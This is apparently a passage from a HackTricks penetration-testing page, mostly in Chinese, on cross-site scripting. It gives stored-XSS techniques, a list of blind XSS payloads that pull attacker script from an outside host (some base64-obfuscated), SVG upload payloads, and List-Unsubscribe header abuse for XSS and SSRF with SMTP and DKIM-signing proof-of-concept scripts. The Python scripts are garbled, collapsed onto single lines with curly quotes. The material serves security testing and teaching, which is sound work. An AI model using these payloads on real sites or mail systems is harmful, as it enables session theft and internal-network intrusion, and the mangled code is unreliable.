  • 示例模式(Meta CAPIG):服务器直接将 cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); 追加到 capig-events.js 中。
  • 注入 '"]} 会关闭字面量/对象并加入攻击者 JS,从而在分发的 SDK 中为所有加载它的网站创造 stored XSS(第一方和第三方)。

当转义被禁用时,生成报告中的 stored XSS

如果上传的文件被解析,且它们的元数据被打印到 HTML 报告中而未进行转义(|safe、自定义渲染器),那么这些元数据就是一个 stored XSS sink。示例流程:

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name  # %s fed by xmlhost

Django 模板渲染 {{item|key:"title"|safe}},因此攻击者的 HTML 会被执行。

利用:实体编码的 HTML 放入任何会到达报告的 manifest/config 字段:

<data android:scheme="android_secret_code"
android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>

使用 |safe 渲染时,报告会输出 <img ...> 并在查看时触发 JS。

搜寻: 查找那些在 %s/f-strings 中重用已解析字段并禁用自动转义的 report/notification 构建器。上传的 manifest/log/archive 中的一个被编码标签会对所有查看者持续造成 XSS。

滥用 Service Workers

Abusing Service Workers

访问 Shadow DOM

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS 有效载荷

你也可以使用: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - 访问隐藏内容

this writeup 可以了解到,即使某些值从 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。 例如,REGEX 的输入在 regex 的输入值被移除后仍然可以被找到:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS 利用其他漏洞

XSS 在 Markdown

能注入会被渲染的 Markdown 代码吗?也许你可以获得 XSS!查看:

XSS in Markdown

XSS 到 SSRF

在一个使用 caching 的 site 上发现 XSS?尝试通过 Edge Side Include Injection 用下面的 payload 将其升级为 SSRF

<esi:include src="http://yoursite.com/capture" />

Use it to bypass cookie restrictions, XSS filters and much more!
更多关于此技术的信息: XSLT

动态创建的 PDF 中的 XSS

如果一个网页使用用户可控输入创建 PDF,你可以尝试欺骗创建 PDF 的 bot执行任意 JS 代码
因此,如果PDF creator bot finds某种HTML标签,它将对其进行解释,你可以滥用这种行为导致Server XSS

Server Side XSS (Dynamic PDF)

如果你无法注入 HTML 标签,值得尝试inject PDF data

PDF Injection

Amp4Email 中的 XSS

AMP,旨在加速移动设备上的网页性能,结合了带有 JavaScript 的 HTML 标签以保证功能,强调速度和安全。它支持多种组件来实现不同功能,可通过 AMP components 访问。

AMP for Email 格式将特定的 AMP 组件扩展到 emails,使收件人能够直接在邮件中与内容交互。

示例 writeup XSS in Amp4Email in Gmail.

List-Unsubscribe 头滥用 (Webmail XSS & SSRF)

RFC 2369 的 List-Unsubscribe 头嵌入了攻击者控制的 URIs,许多 webmail 和 mail 客户端会自动将其转换为 “Unsubscribe” 按钮。当这些 URI 在未验证的情况下被渲染或请求时,该头就成为注入点,既可导致 stored XSS(如果退订链接被放入 DOM),也可导致 SSRF(如果服务器代表用户发起退订请求)。

通过 javascript: URI 的 Stored XSS

  1. 给自己发一封邮件,使该头指向一个 javascript: URI,同时保持邮件其余部分无害以免被垃圾邮件过滤器丢弃。
  2. 确保 UI 渲染了该值(许多客户端在“List Info”面板中显示它),并检查生成的 <a> 标签是否继承了攻击者可控的属性,如 hreftarget
  3. 当链接使用 target="_blank" 时,触发执行(例如,CTRL+click、中键点击或“在新标签页中打开”);浏览器会在 webmail 应用的源中评估提供的 JavaScript。
  4. 观察 stored-XSS 原语:payload 会随邮件持久存在,仅需一次点击即可执行。
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

URI 中的换行字节 (%0a) 表明即使是不常见的字符也会在易受攻击的客户端(例如 Horde IMP H5)的渲染管道中被保留,该客户端会在锚点标签中逐字输出该字符串。

用于传送恶意 List-Unsubscribe 头的最小 SMTP PoC ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### 服务器端退订代理 -> SSRF

某些客户端(例如 Nextcloud Mail app)在服务器端代理退订操作:点击按钮会指示服务器自行获取提供的 URL。这样就把该头部变成了一个 SSRF 原语,尤其是在管理员将 'allow_local_remote_servers' => true(记录于 [HackerOne report 2902856](https://hackerone.com/reports/2902856))时,这允许对回环和 RFC1918 地址范围的请求。

1. **构造一封邮件**,其中 `List-Unsubscribe` 指向攻击者控制的端点(用于盲 SSRF 时使用 Burp Collaborator / OAST)。
2. **保留 `List-Unsubscribe-Post: List-Unsubscribe=One-Click`**,以便 UI 显示单击退订按钮。
3. **满足信任要求**:例如 Nextcloud 仅在消息通过 DKIM 时才执行 HTTPS 退订请求,因此攻击者必须使用他们控制的域对邮件进行签名。
4. **将邮件投递到目标服务器处理的邮箱**,并等待用户点击退订按钮。
5. **在 collaborator endpoint 观察服务器端回调**,一旦确认该原语成立,再转向内部地址。
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
用于 SSRF 测试的 DKIM 签名的 List-Unsubscribe 消息 ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**测试说明**

- 使用 OAST endpoint 收集 blind SSRF hits,然后在确认 primitive 后将 `List-Unsubscribe` URL 调整为指向 `http://127.0.0.1:PORT`、metadata services 或其他内部主机。
- 由于 unsubscribe helper 常常重用与应用相同的 HTTP stack,你会继承它的 proxy settings、HTTP verbs 和 header rewrites,从而能够利用在 [SSRF methodology](../ssrf-server-side-request-forgery/README.md) 中描述的更多 traversal tricks。

### XSS 上传文件(svg)

将下面这样的文件作为图像上传(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

查找 更多 SVG payloads 在 https://github.com/allanlw/svg-cheatsheet

其他 JS 技巧 & 相关信息

Misc JS Tricks & Relevant Info

XSS 资源

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks